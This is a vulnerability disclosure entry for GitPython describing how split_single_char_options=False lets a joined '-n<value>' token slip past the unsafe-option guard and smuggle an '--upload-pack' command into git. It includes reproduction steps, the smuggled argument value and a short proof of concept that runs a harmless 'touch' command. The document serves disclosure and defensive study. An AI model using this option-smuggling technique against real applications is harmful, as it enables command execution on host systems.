# GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution

GitPython's unsafe-option guard misses joined short-option tokens when split_single_char_options=False, letting `-n<value>` smuggle `--upload-pack=<cmd>` into git for command execution.

- Payout: Research
- Severity: high
- Program: GitPython
- Found by: manus-use
- Disclosed: 2026-08-07
- CVE: CVE-2026-76220
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-wvpp-8hx9-p66j
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-wvpp-8hx9-p66j
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** GitPython library guarded git methods (clone/fetch/push/ls_remote/blame/archive) forwarding kwargs to git argv
**Root cause:** `_option_candidates` only emits value-derived candidates when `len(key)==1 and split_single_char_options` is True, so with split=False the guard sees only `-n` while `transform_kwarg` emits the joined token `-n<value>` that git re-parses as `-u<cmd>` = `--upload-pack=<cmd>`.
**Steps:**
1. App forwards user kwargs to `Repo.clone_from(src, dst, **kwargs)` with `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`.
2. `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)` yields only `['-n']`, which is not denylisted, so the guard passes.
3. `transform_kwarg` emits joined token `-nutouch /tmp/ACE;git-upload-pack`; argv becomes `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','<src>','<dst>']`.
4. git clusters `-n` + `-u<cmd>` and runs the upload-pack command, creating `/tmp/ACE`.
5. Control: `n='--upload-pack=...'` with split default True raises `UnsafeOptionError`.
**How found:** Reading the fix commit e8d0fbf7 for GHSA-r9mr-m37c-5fr3 and noticing value-derived candidates are only emitted under `if len(key)==1 and split_single_char_options:`; hypothesized that split=False skips value emission while transform_kwarg still joins the value into the token, then reproduced with a gate harness and confirmed the earlier clustering-parse fix 56806080 doesn't cover it.
**Exploitation:** Requires the application to forward a user-controlled kwargs dict (including split_single_char_options=False and a single-char key) into a guarded GitPython method. The joined short-option token bypasses the denylist and git executes the attacker's `--upload-pack` command as the host process at default allow_unsafe_options=False.
**Insight:** When a guard validates reconstructed option names but the sink builds argv separately, diff the two code paths for any flag (like split_single_char_options) that changes token shape; joined short-option forms `-n<value>` are re-parsed by git as clustered flags, so validate the final transformed argv, not the candidate list.

## Proof of concept (copied exactly from the original report)

**Repo.clone_from kwargs PoC with split_single_char_options=False**

```
from git import Repo
Repo.clone_from(src, dst,
    n="utouch /tmp/ACE;git-upload-pack",
    split_single_char_options=False)   # /tmp/ACE created -> ACE
```

